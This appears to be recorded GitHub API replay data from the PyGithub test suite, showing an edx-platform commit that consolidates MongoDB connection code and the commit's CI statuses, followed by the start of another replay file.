('etag', '"8e937a4cbcbaef182ddf483ee99a599f"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4993'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '12B0076B:2073:5CF629E:56A6A81E'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Mon, 14 Dec 2015 12:42:38 GMT'), ('date', 'Mon, 25 Jan 2016 22:56:31 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1453765330')] {"sha":"74e70119a23fa3ffb3db19d4590eccfebd72b659","commit":{"author":{"name":"John Eskew","email":"jeskew@edx.org","date":"2015-12-04T22:39:27Z"},"committer":{"name":"John Eskew","email":"jeskew@edx.org","date":"2015-12-14T12:42:38Z"},"message":"Use a common MongoDB connection function.\nAdd some missing @autoretry_read() decorators.\nChange to PyMongo 3.x-compatible syntax.","tree":{"sha":"7712c0f7c0c21f706bcbed393f3de71d854d59df","url":"https://api.github.com/repos/edx/edx-platform/git/trees/7712c0f7c0c21f706bcbed393f3de71d854d59df"},"url":"https://api.github.com/repos/edx/edx-platform/git/commits/74e70119a23fa3ffb3db19d4590eccfebd72b659","comment_count":0},"url":"https://api.github.com/repos/edx/edx-platform/commits/74e70119a23fa3ffb3db19d4590eccfebd72b659","html_url":"https://github.com/edx/edx-platform/commit/74e70119a23fa3ffb3db19d4590eccfebd72b659","comments_url":"https://api.github.com/repos/edx/edx-platform/commits/74e70119a23fa3ffb3db19d4590eccfebd72b659/comments","author":{"login":"doctoryes","id":7285237,"avatar_url":"https://avatars.githubusercontent.com/u/7285237?v=3","gravatar_id":"","url":"https://api.github.com/users/doctoryes","html_url":"https://github.com/doctoryes","followers_url":"https://api.github.com/users/doctoryes/followers","following_url":"https://api.github.com/users/doctoryes/following{/other_user}","gists_url":"https://api.github.com/users/doctoryes/gists{/gist_id}","starred_url":"https://api.github.com/users/doctoryes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/doctoryes/subscriptions","organizations_url":"https://api.github.com/users/doctoryes/orgs","repos_url":"https://api.github.com/users/doctoryes/repos","events_url":"https://api.github.com/users/doctoryes/events{/privacy}","received_events_url":"https://api.github.com/users/doctoryes/received_events","type":"User","site_admin":false},"committer":{"login":"doctoryes","id":7285237,"avatar_url":"https://avatars.githubusercontent.com/u/7285237?v=3","gravatar_id":"","url":"https://api.github.com/users/doctoryes","html_url":"https://github.com/doctoryes","followers_url":"https://api.github.com/users/doctoryes/followers","following_url":"https://api.github.com/users/doctoryes/following{/other_user}","gists_url":"https://api.github.com/users/doctoryes/gists{/gist_id}","starred_url":"https://api.github.com/users/doctoryes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/doctoryes/subscriptions","organizations_url":"https://api.github.com/users/doctoryes/orgs","repos_url":"https://api.github.com/users/doctoryes/repos","events_url":"https://api.github.com/users/doctoryes/events{/privacy}","received_events_url":"https://api.github.com/users/doctoryes/received_events","type":"User","site_admin":false},"parents":[{"sha":"86227e7711c011490f1db6fdfcc17401511e5ee5","url":"https://api.github.com/repos/edx/edx-platform/commits/86227e7711c011490f1db6fdfcc17401511e5ee5","html_url":"https://github.com/edx/edx-platform/commit/86227e7711c011490f1db6fdfcc17401511e5ee5"}],"stats":{"total":192,"additions":112,"deletions":80},"files":[{"sha":"56ccd039ccff39e297523966c340f1be74876af8","filename":"common/lib/xmodule/xmodule/contentstore/mongo.py","status":"modified","additions":34,"deletions":30,"changes":64,"blob_url":"https://github.com/edx/edx-platform/blob/74e70119a23fa3ffb3db19d4590eccfebd72b659/common/lib/xmodule/xmodule/contentstore/mongo.py","raw_url":"https://github.com/edx/edx-platform/raw/74e70119a23fa3ffb3db19d4590eccfebd72b659/common/lib/xmodule/xmodule/contentstore/mongo.py","contents_url":"https://api.github.com/repos/edx/edx-platform/contents/common/lib/xmodule/xmodule/contentstore/mongo.py?ref=74e70119a23fa3ffb3db19d4590eccfebd72b659","patch":"@@ -1,52 +1,50 @@\n+\"\"\"\n+MongoDB/GridFS-level code for the contentstore.\n+\"\"\"\n+import os\n+import json\n import pymongo\n import gridfs\n from gridfs.errors import NoFile\n-\n-from xmodule.contentstore.content import XASSET_LOCATION_TAG\n-\n-import logging\n-\n-from .content import StaticContent, ContentStore, StaticContentStream\n-from xmodule.exceptions import NotFoundError\n from fs.osfs import OSFS\n-import os\n-import json\n from bson.son import SON\n+\n+from mongodb_proxy import autoretry_read\n from opaque_keys.edx.keys import AssetKey\n+from xmodule.contentstore.content import XASSET_LOCATION_TAG\n+from xmodule.exceptions import NotFoundError\n from xmodule.modulestore.django import ASSET_IGNORE_REGEX\n from xmodule.util.misc import escape_invalid_characters\n+from xmodule.mongo_connection import connect_to_mongodb\n+from .content import StaticContent, ContentStore, StaticContentStream\n \n \n class MongoContentStore(ContentStore):\n-\n- # pylint: disable=unused-argument\n- def __init__(self, host, db, port=27017, user=None, password=None, bucket='fs', collection=None, **kwargs):\n+ \"\"\"\n+ MongoDB-backed ContentStore.\n+ \"\"\"\n+ # pylint: disable=unused-argument, bad-continuation\n+ def __init__(\n+ self, host, db,\n+ port=27017, tz_aware=True, user=None, password=None, bucket='fs', collection=None, **kwargs\n+ ):\n \"\"\"\n Establish the connection with the mongo backend and connect to the collections\n \n :param collection: ignores but provided for consistency w/ other doc_store_config patterns\n \"\"\"\n- logging.debug('Using MongoDB for static content serving at host={0} port={1} db={2}'.format(host, port, db))\n-\n- # Remove the replicaSet parameter.\n- kwargs.pop('replicaSet', None)\n-\n- _db = pymongo.database.Database(\n- pymongo.MongoClient(\n- host=host,\n- port=port,\n- document_class=dict,\n- **kwargs\n- ),\n- db\n+ # GridFS will throw an exception if the Database is wrapped in a MongoProxy. So don't wrap it.\n+ # The appropriate methods below are marked as autoretry_read - those methods will handle\n+ # the AutoReconnect errors.\n+ proxy = False\n+ mongo_db = connect_to_mongodb(\n+ db, host,\n+ port=port, tz_aware=tz_aware, user=user, password=password, proxy=proxy, **kwargs\n )\n \n- if user is not None and password is not None:\n- _db.authenticate(user, password)\n-\n- self.fs = gridfs.GridFS(_db, bucket)\n+ self.fs = gridfs.GridFS(mongo_db, bucket) # pylint: disable=invalid-name\n \n- self.fs_files = _db[bucket + \".files\"] # the underlying collection GridFS uses\n+ self.fs_files = mongo_db[bucket + \".files\"] # the underlying collection GridFS uses\n \n def close_connections(self):\n \"\"\"\n@@ -86,11 +84,15 @@ def save(self, content):\n return content\n \n def delete(self, location_or_id):\n+ \"\"\"\n+ Delete an asset.\n+ \"\"\"\n if isinstance(location_or_id, AssetKey):\n location_or_id, _ = self.asset_db_key(location_or_id)\n # Deletes of non-existent files are considered successful\n self.fs.delete(location_or_id)\n \n+ @autoretry_read()\n def find(self, location, throw_on_not_found=True, as_stream=False):\n content_id, __ = self.asset_db_key(location)\n \n@@ -206,6 +208,7 @@ def remove_redundant_content_for_courses(self):\n self.fs_files.remove(query)\n return assets_to_delete\n \n+ @autoretry_read()\n def _get_all_content_for_course(self,\n course_key,\n get_thumbnails=False,\n@@ -288,6 +291,7 @@ def set_attrs(self, location, attr_dict):\n if not result.get('updatedExisting', True):\n raise NotFoundError(asset_db_key)\n \n+ @autoretry_read()\n def get_attrs(self, location):\n \"\"\"\n Gets all of the attributes associated with the given asset. Note, returns even built in attrs"},{"sha":"4bcdfa15a878dc6b413ab093f5edc685096c1dfa","filename":"common/lib/xmodule/xmodule/modulestore/mongo/base.py","status":"modified","additions":15,"deletions":24,"changes":39,"blob_url":"https://github.com/edx/edx-platform/blob/74e70119a23fa3ffb3db19d4590eccfebd72b659/common/lib/xmodule/xmodule/modulestore/mongo/base.py","raw_url":"https://github.com/edx/edx-platform/raw/74e70119a23fa3ffb3db19d4590eccfebd72b659/common/lib/xmodule/xmodule/modulestore/mongo/base.py","contents_url":"https://api.github.com/repos/edx/edx-platform/contents/common/lib/xmodule/xmodule/modulestore/mongo/base.py?ref=74e70119a23fa3ffb3db19d4590eccfebd72b659","patch":"@@ -22,7 +22,7 @@\n from bson.son import SON\n from datetime import datetime\n from fs.osfs import OSFS\n-from mongodb_proxy import MongoProxy, autoretry_read\n+from mongodb_proxy import autoretry_read\n from path import Path as path\n from pytz import UTC\n from contracts import contract, new_contract\n@@ -43,6 +43,7 @@\n from xmodule.errortracker import null_error_tracker, exc_info_to_str\n from xmodule.exceptions import HeartbeatFailure\n from xmodule.mako_module import MakoDescriptorSystem\n+from xmodule.mongo_connection import connect_to_mongodb\n from xmodule.modulestore import ModuleStoreWriteBase, ModuleStoreEnum, BulkOperationsMixin, BulkOpsRecord\n from xmodule.modulestore.draft_and_published import ModuleStoreDraftAndPublished, DIRECT_ONLY_CATEGORIES\n from xmodule.modulestore.edit_info import EditInfoRuntimeMixin\n@@ -558,22 +559,16 @@ def do_connection(\n \"\"\"\n Create & open the connection, authenticate, and provide pointers to the collection\n \"\"\"\n- # Remove the replicaSet parameter.\n- kwargs.pop('replicaSet', None)\n-\n- self.database = MongoProxy(\n- pymongo.database.Database(\n- pymongo.MongoClient(\n- host=host,\n- port=port,\n- tz_aware=tz_aware,\n- document_class=dict,\n- **kwargs\n- ),\n- db\n- ),\n- wait_time=retry_wait_time\n+ # Set a write concern of 1, which makes writes complete successfully to the primary\n+ # only before returning. Also makes pymongo report write errors.\n+ kwargs['w'] = 1\n+\n+ self.database = connect_to_mongodb(\n+ db, host,\n+ port=port, tz_aware=tz_aware, user=user, password=password,\n+ retry_wait_time=retry_wait_time, **kwargs\n )\n+\n self.collection = self.database[collection]\n \n # Collection which stores asset metadata.\n@@ -581,14 +576,8 @@ def do_connection(\n asset_collection = self.DEFAULT_ASSET_COLLECTION_NAME\n self.asset_collection = self.database[asset_collection]\n \n- if user is not None and password is not None:\n- self.database.authenticate(user, password)\n-\n do_connection(**doc_store_config)\n \n- # Force mongo to report errors, at the expense of performance\n- self.collection.write_concern = {'w': 1}\n-\n if default_class is not None:\n module_path, _, class_name = default_class.rpartition('.')\n class_ = getattr(import_module(module_path), class_name)\n@@ -1012,6 +1001,7 @@ def get_courses(self, **kwargs):\n )\n return [course for course in base_list if not isinstance(course, ErrorDescriptor)]\n \n+ @autoretry_read()\n def _find_one(self, location):\n '''Look for a given location in the collection. If the item is not present, raise\n ItemNotFoundError.\n@@ -1052,6 +1042,7 @@ def get_course(self, course_key, depth=0, **kwargs):\n except ItemNotFoundError:\n return None\n \n+ @autoretry_read()\n def has_course(self, course_key, ignore_case=False, **kwargs):\n \"\"\"\n Returns the course_id of the course if it was found, else None\n@@ -1073,7 +1064,7 @@ def has_course(self, course_key, ignore_case=False, **kwargs):\n course_query[key] = re.compile(r\"(?i)^{}$\".format(course_query[key]))\n else:\n course_query = {'_id': location.to_deprecated_son()}\n- course = self.collection.find_one(course_query, fields={'_id': True})\n+ course = self.collection.find_one(course_query, projection={'_id': True})\n if course:\n return SlashSeparatedCourseKey(course['_id']['org'], course['_id']['course'], course['_id']['name'])\n else:\n@@ -1234,7 +1225,7 @@ def create_course(self, org, course, run, user_id, fields=None, **kwargs):\n ('_id.course', re.compile(u'^{}$'.format(course_id.course), re.IGNORECASE)),\n ('_id.category', 'course'),\n ])\n- courses = self.collection.find(course_search_location, fields=('_id'))\n+ courses = self.collection.find(course_search_location, projection={'_id': True})\n if courses.count() > 0:\n raise DuplicateCourseError(course_id, courses[0]['_id'])\n "},{"sha":"1352ee95cd39a611a21a2e17dbc70da9b31af433","filename":"common/lib/xmodule/xmodule/modulestore/split_mongo/mongo_connection.py","status":"modified","additions":10,"deletions":26,"changes":36,"blob_url":"https://github.com/edx/edx-platform/blob/74e70119a23fa3ffb3db19d4590eccfebd72b659/common/lib/xmodule/xmodule/modulestore/split_mongo/mongo_connection.py","raw_url":"https://github.com/edx/edx-platform/raw/74e70119a23fa3ffb3db19d4590eccfebd72b659/common/lib/xmodule/xmodule/modulestore/split_mongo/mongo_connection.py","contents_url":"https://api.github.com/repos/edx/edx-platform/contents/common/lib/xmodule/xmodule/modulestore/split_mongo/mongo_connection.py?ref=74e70119a23fa3ffb3db19d4590eccfebd72b659","patch":"@@ -23,10 +23,11 @@\n import dogstats_wrapper as dog_stats_api\n \n from contracts import check, new_contract\n-from mongodb_proxy import autoretry_read, MongoProxy\n+from mongodb_proxy import autoretry_read\n from xmodule.exceptions import HeartbeatFailure\n from xmodule.modulestore import BlockData\n from xmodule.modulestore.split_mongo import BlockKey\n+from xmodule.mongo_connection import connect_to_mongodb\n \n \n new_contract('BlockData', BlockData)\n@@ -287,37 +288,20 @@ def __init__(\n \"\"\"\n Create & open the connection, authenticate, and provide pointers to the collections\n \"\"\"\n- if kwargs.get('replicaSet') is None:\n- kwargs.pop('replicaSet', None)\n- mongo_class = pymongo.MongoClient\n- else:\n- mongo_class = pymongo.MongoReplicaSetClient\n- _client = mongo_class(\n- host=host,\n- port=port,\n- tz_aware=tz_aware,\n- **kwargs\n- )\n- self.database = MongoProxy(\n- pymongo.database.Database(_client, db),\n- wait_time=retry_wait_time\n- )\n+ # Set a write concern of 1, which makes writes complete successfully to the primary\n+ # only before returning. Also makes pymongo report write errors.\n+ kwargs['w'] = 1\n \n- if user is not None and password is not None:\n- self.database.authenticate(user, password)\n+ self.database = connect_to_mongodb(\n+ db, host,\n+ port=port, tz_aware=tz_aware, user=user, password=password,\n+ retry_wait_time=retry_wait_time, **kwargs\n+ )\n \n self.course_index = self.database[collection + '.active_versions']\n self.structures = self.database[collection + '.structures']\n self.definitions = self.database[collection + '.definitions']\n \n- # every app has write access to the db (v having a flag to indicate r/o v write)\n- # Force mongo to report errors, at the expense of performance\n- # pymongo docs suck but explanation:\n- # http://api.mongodb.org/java/2.10.1/com/mongodb/WriteConcern.html\n- self.course_index.write_concern = {'w': 1}\n- self.structures.write_concern = {'w': 1}\n- self.definitions.write_concern = {'w': 1}\n-\n def heartbeat(self):\n \"\"\"\n Check that the db is reachable."},{"sha":"ea353a60b6af9226ce7676495d9572831d99fbd9","filename":"common/lib/xmodule/xmodule/mongo_connection.py","status":"added","additions":53,"deletions":0,"changes":53,"blob_url":"https://github.com/edx/edx-platform/blob/74e70119a23fa3ffb3db19d4590eccfebd72b659/common/lib/xmodule/xmodule/mongo_connection.py","raw_url":"https://github.com/edx/edx-platform/raw/74e70119a23fa3ffb3db19d4590eccfebd72b659/common/lib/xmodule/xmodule/mongo_connection.py","contents_url":"https://api.github.com/repos/edx/edx-platform/contents/common/lib/xmodule/xmodule/mongo_connection.py?ref=74e70119a23fa3ffb3db19d4590eccfebd72b659","patch":"@@ -0,0 +1,53 @@\n+\"\"\"\n+Common MongoDB connection functions.\n+\"\"\"\n+import pymongo\n+from mongodb_proxy import MongoProxy\n+\n+\n+# pylint: disable=bad-continuation\n+def connect_to_mongodb(\n+ db, host,\n+ port=27017, tz_aware=True, user=None, password=None,\n+ retry_wait_time=0.1, proxy=True, **kwargs\n+):\n+ \"\"\"\n+ Returns a MongoDB Database connection, optionally wrapped in a proxy. The proxy\n+ handles AutoReconnect errors by retrying read operations, since these exceptions\n+ typically indicate a temporary step-down condition for MongoDB.\n+ \"\"\"\n+ # The MongoReplicaSetClient class is deprecated in Mongo 3.x, in favor of using\n+ # the MongoClient class for all connections. Update/simplify this code when using\n+ # PyMongo 3.x.\n+ if kwargs.get('replicaSet'):\n+ # Enable reading from secondary nodes in the MongoDB replicaset by using the\n+ # MongoReplicaSetClient class.\n+ # The 'replicaSet' parameter in kwargs is required for secondary reads.\n+ # The read_preference should be set to a proper value, like SECONDARY_PREFERRED.\n+ mongo_client_class = pymongo.MongoReplicaSetClient\n+ else:\n+ # No 'replicaSet' in kwargs - so no secondary reads.\n+ mongo_client_class = pymongo.MongoClient\n+\n+ mongo_conn = pymongo.database.Database(\n+ mongo_client_class(\n+ host=host,\n+ port=port,\n+ tz_aware=tz_aware,\n+ document_class=dict,\n+ **kwargs\n+ ),\n+ db\n+ )\n+\n+ if proxy:\n+ mongo_conn = MongoProxy(\n+ mongo_conn,\n+ wait_time=retry_wait_time\n+ )\n+\n+ # If credentials were provided, authenticate the user.\n+ if user is not None and password is not None:\n+ mongo_conn.authenticate(user, password)\n+\n+ return mongo_conn"}]} https GET api.github.com None /repos/edx/edx-platform/commits/74e70119a23fa3ffb3db19d4590eccfebd72b659/status {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '6365'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '3e3b9690823fb031da84658eb58aa83b'), ('x-oauth-scopes', 'notifications, public_repo, read:org, read:public_key, read:repo_hook, repo:status, repo_deployment'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo, repo:status'), ('etag', '"bfa38f9cceb7ccc231038178037a2013"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '12B0076B:2074:768909A:56A6A81F'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 25 Jan 2016 22:56:31 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1453765330')] {"state":"success","statuses":[{"url":"https://api.github.com/repos/edx/edx-platform/statuses/74e70119a23fa3ffb3db19d4590eccfebd72b659","id":390601376,"state":"success","description":"Build finished.","target_url":"https://build.testeng.edx.org/job/edx-platform-js-pr/10357/","context":"jenkins/js","created_at":"2015-12-14T12:54:25Z","updated_at":"2015-12-14T12:54:25Z"},{"url":"https://api.github.com/repos/edx/edx-platform/statuses/74e70119a23fa3ffb3db19d4590eccfebd72b659","id":390603044,"state":"success","description":"Build finished.","target_url":"https://build.testeng.edx.org/job/edx-platform-accessibility-pr/10173/","context":"jenkins/a11y","created_at":"2015-12-14T12:56:21Z","updated_at":"2015-12-14T12:56:21Z"},{"url":"https://api.github.com/repos/edx/edx-platform/statuses/74e70119a23fa3ffb3db19d4590eccfebd72b659","id":390615529,"state":"success","description":"Build finished.","target_url":"https://build.testeng.edx.org/job/edx-platform-quality-pr/10214/","context":"jenkins/quality","created_at":"2015-12-14T13:10:22Z","updated_at":"2015-12-14T13:10:22Z"},{"url":"https://api.github.com/repos/edx/edx-platform/statuses/74e70119a23fa3ffb3db19d4590eccfebd72b659","id":390627281,"state":"success","description":"Build finished.","target_url":"https://build.testeng.edx.org/job/edx-platform-bok-choy-pr/10918/","context":"jenkins/bokchoy","created_at":"2015-12-14T13:23:35Z","updated_at":"2015-12-14T13:23:35Z"},{"url":"https://api.github.com/repos/edx/edx-platform/statuses/74e70119a23fa3ffb3db19d4590eccfebd72b659","id":390627989,"state":"success","description":"Build finished.","target_url":"https://build.testeng.edx.org/job/edx-platform-python-unittests-pr/10504/","context":"jenkins/python","created_at":"2015-12-14T13:24:18Z","updated_at":"2015-12-14T13:24:18Z"},{"url":"https://api.github.com/repos/edx/edx-platform/statuses/74e70119a23fa3ffb3db19d4590eccfebd72b659","id":390680150,"state":"success","description":"Build finished.","target_url":"https://build.testeng.edx.org/job/edx-platform-lettuce-pr/10545/","context":"jenkins/lettuce","created_at":"2015-12-14T14:15:40Z","updated_at":"2015-12-14T14:15:40Z"}],"sha":"74e70119a23fa3ffb3db19d4590eccfebd72b659","total_count":6,"repository":{"id":10391073,"name":"edx-platform","full_name":"edx/edx-platform","owner":{"login":"edx","id":3179841,"avatar_url":"https://avatars.githubusercontent.com/u/3179841?v=3","gravatar_id":"","url":"https://api.github.com/users/edx","html_url":"https://github.com/edx","followers_url":"https://api.github.com/users/edx/followers","following_url":"https://api.github.com/users/edx/following{/other_user}","gists_url":"https://api.github.com/users/edx/gists{/gist_id}","starred_url":"https://api.github.com/users/edx/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/edx/subscriptions","organizations_url":"https://api.github.com/users/edx/orgs","repos_url":"https://api.github.com/users/edx/repos","events_url":"https://api.github.com/users/edx/events{/privacy}","received_events_url":"https://api.github.com/users/edx/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/edx/edx-platform","description":"The Open edX platform, the software that powers edX!","fork":false,"url":"https://api.github.com/repos/edx/edx-platform","forks_url":"https://api.github.com/repos/edx/edx-platform/forks","keys_url":"https://api.github.com/repos/edx/edx-platform/keys{/key_id}","collaborators_url":"https://api.github.com/repos/edx/edx-platform/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/edx/edx-platform/teams","hooks_url":"https://api.github.com/repos/edx/edx-platform/hooks","issue_events_url":"https://api.github.com/repos/edx/edx-platform/issues/events{/number}","events_url":"https://api.github.com/repos/edx/edx-platform/events","assignees_url":"https://api.github.com/repos/edx/edx-platform/assignees{/user}","branches_url":"https://api.github.com/repos/edx/edx-platform/branches{/branch}","tags_url":"https://api.github.com/repos/edx/edx-platform/tags","blobs_url":"https://api.github.com/repos/edx/edx-platform/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/edx/edx-platform/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/edx/edx-platform/git/refs{/sha}","trees_url":"https://api.github.com/repos/edx/edx-platform/git/trees{/sha}","statuses_url":"https://api.github.com/repos/edx/edx-platform/statuses/{sha}","languages_url":"https://api.github.com/repos/edx/edx-platform/languages","stargazers_url":"https://api.github.com/repos/edx/edx-platform/stargazers","contributors_url":"https://api.github.com/repos/edx/edx-platform/contributors","subscribers_url":"https://api.github.com/repos/edx/edx-platform/subscribers","subscription_url":"https://api.github.com/repos/edx/edx-platform/subscription","commits_url":"https://api.github.com/repos/edx/edx-platform/commits{/sha}","git_commits_url":"https://api.github.com/repos/edx/edx-platform/git/commits{/sha}","comments_url":"https://api.github.com/repos/edx/edx-platform/comments{/number}","issue_comment_url":"https://api.github.com/repos/edx/edx-platform/issues/comments{/number}","contents_url":"https://api.github.com/repos/edx/edx-platform/contents/{+path}","compare_url":"https://api.github.com/repos/edx/edx-platform/compare/{base}...{head}","merges_url":"https://api.github.com/repos/edx/edx-platform/merges","archive_url":"https://api.github.com/repos/edx/edx-platform/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/edx/edx-platform/downloads","issues_url":"https://api.github.com/repos/edx/edx-platform/issues{/number}","pulls_url":"https://api.github.com/repos/edx/edx-platform/pulls{/number}","milestones_url":"https://api.github.com/repos/edx/edx-platform/milestones{/number}","notifications_url":"https://api.github.com/repos/edx/edx-platform/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/edx/edx-platform/labels{/name}","releases_url":"https://api.github.com/repos/edx/edx-platform/releases{/id}","deployments_url":"https://api.github.com/repos/edx/edx-platform/deployments"},"commit_url":"https://api.github.com/repos/edx/edx-platform/commits/74e70119a23fa3ffb3db19d4590eccfebd72b659","url":"https://api.github.com/repos/edx/edx-platform/commits/74e70119a23fa3ffb3db19d4590eccfebd72b659/status"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CommitComment.setUp.txt0000644000175100001660000002762114756101563022601 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 08 Jan 2025 08:56:08 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"481c10ad1bdafbd0064dd02c79e34c7022a1ed0217936c6eb970d34414b22fbc"'), ('Last-Modified', 'Tue, 07 Jan 2025 18:29:39 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1736330143'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A312:B4D0C:34F087:35E8DE:677E3DA8')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-07T